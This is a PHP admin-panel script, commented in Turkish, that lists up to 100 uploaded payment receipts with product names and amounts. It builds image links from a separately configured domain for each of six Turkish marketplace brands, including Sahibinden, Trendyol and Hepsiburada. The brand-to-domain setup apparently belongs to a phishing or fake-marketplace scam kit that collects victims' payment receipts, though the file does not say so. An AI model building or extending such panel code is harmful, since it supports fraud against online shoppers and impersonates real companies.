<?php
session_start();
date_default_timezone_set('Europe/Istanbul');
require_once __DIR__ . '/../../database/connect.php';

$kul_id = $_SESSION['kul_id'] ?? '';
$k_rol = $_SESSION['k_rol'] ?? 'user';

if (empty($kul_id)) {
    echo '<tr><td colspan="7" class="text-center py-4" style="color:#f00;">Oturum hatası.</td></tr>';
    exit;
}

// Panel ayarları - domain bilgileri
try {
    $panelQ = $db->query("SELECT * FROM panel WHERE id = 1");
    $panel = $panelQ->fetch(PDO::FETCH_ASSOC) ?? [];
} catch (Exception $e) {
    $panel = [];
}

// Platform -> Domain eşleşmesi
$domainMap = [
    'Sahibinden' => $panel['dom_sahibinden'] ?? '',
    'sahibinden' => $panel['dom_sahibinden'] ?? '',
    'Dolap' => $panel['dom_dolap'] ?? '',
    'dolap' => $panel['dom_dolap'] ?? '',
    'Trendyol' => $panel['dom_trendyol'] ?? '',
    'trendyol' => $panel['dom_trendyol'] ?? '',
    'Letgo' => $panel['dom_letgo'] ?? '',
    'letgo' => $panel['dom_letgo'] ?? '',
    'PttAVM' => $panel['dom_pttavm'] ?? '',
    'PTTAVM' => $panel['dom_pttavm'] ?? '',
    'pttavm' => $panel['dom_pttavm'] ?? '',
    'Hepsiburada' => $panel['dom_hepsiburada'] ?? '',
    'hepsiburada' => $panel['dom_hepsiburada'] ?? '',
];

try {
    // TÜM dekontları çek - ekleyen kontrolü olmadan
    // Admin ve user aynı dekontları görsün
    $q = $db->query("SELECT * FROM dekontlar ORDER BY id DESC LIMIT 100");
    $dekontlar = $q->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
    echo '<tr><td colspan="7" class="text-center py-4" style="color:#f00;">Hata: ' . htmlspecialchars($e->getMessage()) . '</td></tr>';
    exit;
}

if (empty($dekontlar)) {
    echo '<tr><td colspan="7" class="text-center py-4" style="color:#666;">Dekont bulunamadı.</td></tr>';
    exit;
}

foreach ($dekontlar as $d) {
    $id = $d['id'] ?? 0;
    $platform = $d['platform'] ?? 'Sahibinden';
    
    // Platform'a göre domain seç
    $domain = $domainMap[$platform] ?? $panel['dom_sahibinden'] ?? '';
    
    // Dekont dosyası
    $dekontDosya = $d['dekont_dosya'] ?? $d['dekont'] ?? '';
    
    $urunAdi = $d['urun_adi'] ?? $d['urunadi'] ?? '-';
    $miktar = $d['miktar'] ?? $d['tutar'] ?? '-';
    $tarih = !empty($d['tarih']) ? date('d.m.Y H:i', strtotime($d['tarih'])) : '-';
    
    // Dekont URL
    $dekontUrl = '';
    if (!empty($dekontDosya) && !empty($domain)) {
        $dekontUrl = 'https://' . $domain . '/dekontlar/' . $dekontDosya;
    }
    
    echo '<tr>';
    echo '<td>' . $id . '</td>';
    echo '<td><span class="badge badge-info">' . htmlspecialchars($platform) . '</span></td>';
    echo '<td>';
    if (!empty($dekontDosya) && !empty($dekontUrl)) {
        echo '<img src="' . htmlspecialchars($dekontUrl) . '" style="width:50px;height:50px;object-fit:cover;border-radius:4px;cursor:pointer;border:1px solid #444;" onclick="showDekontModal(\'' . htmlspecialchars($dekontUrl) . '\')" onerror="this.style.display=\'none\';this.nextElementSibling.style.display=\'inline\'"><span style="display:none;color:#888;font-size:10px;">Yüklenemedi</span>';
    } elseif (!empty($dekontDosya)) {
        echo '<span style="color:#888;font-size:11px;">' . htmlspecialchars($dekontDosya) . '</span>';
    } else {
        echo '<span style="color:#666;">-</span>';
    }
    echo '</td>';
    echo '<td>' . htmlspecialchars($urunAdi) . '</td>';
    echo '<td><span style="color:#4ecdc4;font-weight:600;">' . htmlspecialchars($miktar) . '</span></td>';
    echo '<td>' . $tarih . '</td>';
    echo '<td><button class="btn btn-sm btn-danger" onclick="silDekont(' . $id . ')"><i class="fa fa-trash"></i></button></td>';
    echo '</tr>';
}
?>
